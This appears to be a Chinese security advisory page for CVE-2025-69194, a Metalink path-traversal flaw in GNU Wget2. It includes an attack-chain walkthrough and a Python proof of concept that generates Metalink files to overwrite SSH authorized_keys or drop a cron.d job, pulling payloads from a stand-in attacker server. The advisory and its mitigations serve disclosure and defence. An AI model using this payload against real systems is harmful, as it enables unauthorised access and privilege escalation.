IPBUF安全漏洞报告
English
CVE-2025-69194 CVSS 8.8 高危

CVE-2025-69194: GNU Wget2 Metalink路径遍历导致任意文件写入高危漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-69194
漏洞类型
路径遍历/任意文件写入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GNU Wget2

相关标签

GNU Wget2Metalink路径遍历任意文件写入目录遍历CVE-2025-69194高危漏洞文件写入漏洞Linux开源软件

漏洞概述

CVE-2025-69194是GNU Wget2中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞存在于Wget2处理Metalink文档的过程中,攻击者可利用Metalink XML中的<file name>元素注入恶意路径,实现目录遍历攻击。当用户使用Wget2下载Metalink文件时,程序会解析XML内容并根据其中定义的文件信息进行下载操作。然而,Wget2在处理文件名时缺乏严格的路径验证机制,未能过滤包含"../"等目录遍历序列的恶意路径。这使得攻击者可以构造特制的Metalink文档,诱使Wget2将文件写入用户系统上的任意位置,包括敏感目录如~/.ssh/authorized_keys或/etc/cron.d/等。该漏洞可能导致数据泄露、系统文件被篡改,甚至实现远程代码执行。攻击者可以通过社交工程诱导用户下载恶意Metalink文件,或在中间人攻击场景中篡改合法的Metalink响应。此漏洞影响所有使用Wget2处理Metalink下载的场景,危害范围广泛。

技术细节

GNU Wget2的Metalink处理模块存在路径遍历漏洞。漏洞根源在于libwget/metaxml_parse.c文件中的XML解析逻辑对<file>元素的name属性缺少安全验证。当Wget2接收到Metalink文档时,会调用metaxml_parse_file()函数解析XML结构,提取文件信息并创建本地文件。问题出在文件路径构建阶段,代码直接使用XML中提供的文件名而未进行路径规范化或安全检查。攻击者可以在Metalink XML中构造如下恶意内容:<file name="../../../.ssh/authorized_keys">,Wget2会将其直接用于本地文件路径,导致文件被写入用户home目录的.ssh文件夹中。漏洞利用需要以下条件:1) 目标系统安装有存在漏洞的Wget2版本;2) 攻击者能够使目标用户下载攻击者控制的Metalink文件;3) 用户执行Wget2下载命令(如wget --metalink=malicious.xml)。利用成功后可实现任意文件写入,进而可能通过覆盖SSH authorized_keys实现持久化访问,或覆盖系统配置文件实现权限提升。修复方案需要在文件路径构建前调用realpath()或等效函数进行路径规范化,并验证最终路径是否在预期目录内。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用存在漏洞的GNU Wget2版本,并确定可利用的Metalink下载场景
STEP 2
步骤2: 构造恶意Metalink
攻击者创建特制Metalink XML文件,在<file name>元素中注入路径遍历payload,如../../../../.ssh/authorized_keys
STEP 3
步骤3: 部署攻击资源
攻击者在其控制的服务器上托管恶意Metalink文件和待写入的恶意内容(如SSH公钥或定时任务脚本)
STEP 4
步骤4: 诱导受害者下载
通过社交工程、钓鱼邮件或中间人攻击,诱导用户使用Wget2下载恶意Metalink文件
STEP 5
步骤5: 执行路径遍历
Wget2解析Metalink时未验证路径安全性,直接使用恶意文件名创建文件,实现目录遍历写入
STEP 6
步骤6: 达成攻击目标
通过写入SSH authorized_keys实现持久化访问,或通过写入cron.d实现权限提升和远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-69194 PoC - GNU Wget2 Metalink Path Traversal Generate malicious Metalink XML file to exploit path traversal vulnerability """ import sys def generate_malicious_metalink(): """ Generate malicious Metalink XML with path traversal payload This PoC demonstrates how attacker can write files to arbitrary locations """ metalink_xml = '''<?xml version="1.0" encoding="utf-8"?> <metalink version="3.0" xmlns="http://www.metalinkpublisher.org/spec/v3/"> <files> <file name="../../../.ssh/authorized_keys"> <verification> <hash type="sha256">a]b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4</hash> </verification> <resources> <url type="http" preference="100">http://attacker-controlled-server/malicious_key.pub</url> </resources> </file> </files> </metalink>''' return metalink_xml def generate_cronjob_exploit(): """ Generate Metalink file that writes to /etc/cron.d for privilege escalation """ cron_metalink = '''<?xml version="1.0" encoding="utf-8"?> <metalink version="3.0" xmlns="http://www.metalinkpublisher.org/spec/v3/"> <files> <file name="../../../etc/cron.d/malicious_cron"> <verification> <hash type="sha256">a]b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4</hash> </verification> <resources> <url type="http" preference="100">http://attacker-controlled-server/cron_payload</url> </resources> </file> </files> </metalink>''' return cron_metalink if __name__ == "__main__": if len(sys.argv) > 1 and sys.argv[1] == "--cron": print(generate_cronjob_exploit()) else: print(generate_malicious_metalink()) # Usage: # 1. Generate malicious Metalink: python3 cve_2025_69194_poc.py > malicious.metalink # 2. Host malicious content on attacker server # 3. Serve Metalink to victim: wget2 --metalink=malicious.metalink http://attacker.com/malicious.metalink # 4. Or perform MITM to inject malicious file entry into legitimate Metalink response

影响范围

GNU Wget2 < 2.9.0 (推测修复版本)
GNU Wget2 所有版本 (漏洞存在期间)

防御指南

临时缓解措施
临时缓解措施:1) 避免使用Wget2下载不受信任来源的Metalink文件;2) 在网络边界实施过滤,阻止对可疑Metalink资源的访问;3) 配置系统安全审计策略,监控ssh目录和cron.d目录的文件变更;4) 考虑使用AppArmor或SELinux限制Wget2进程的文件系统访问权限;5) 对Wget2下载的文件实施白名单机制,仅允许写入预定义的下载目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表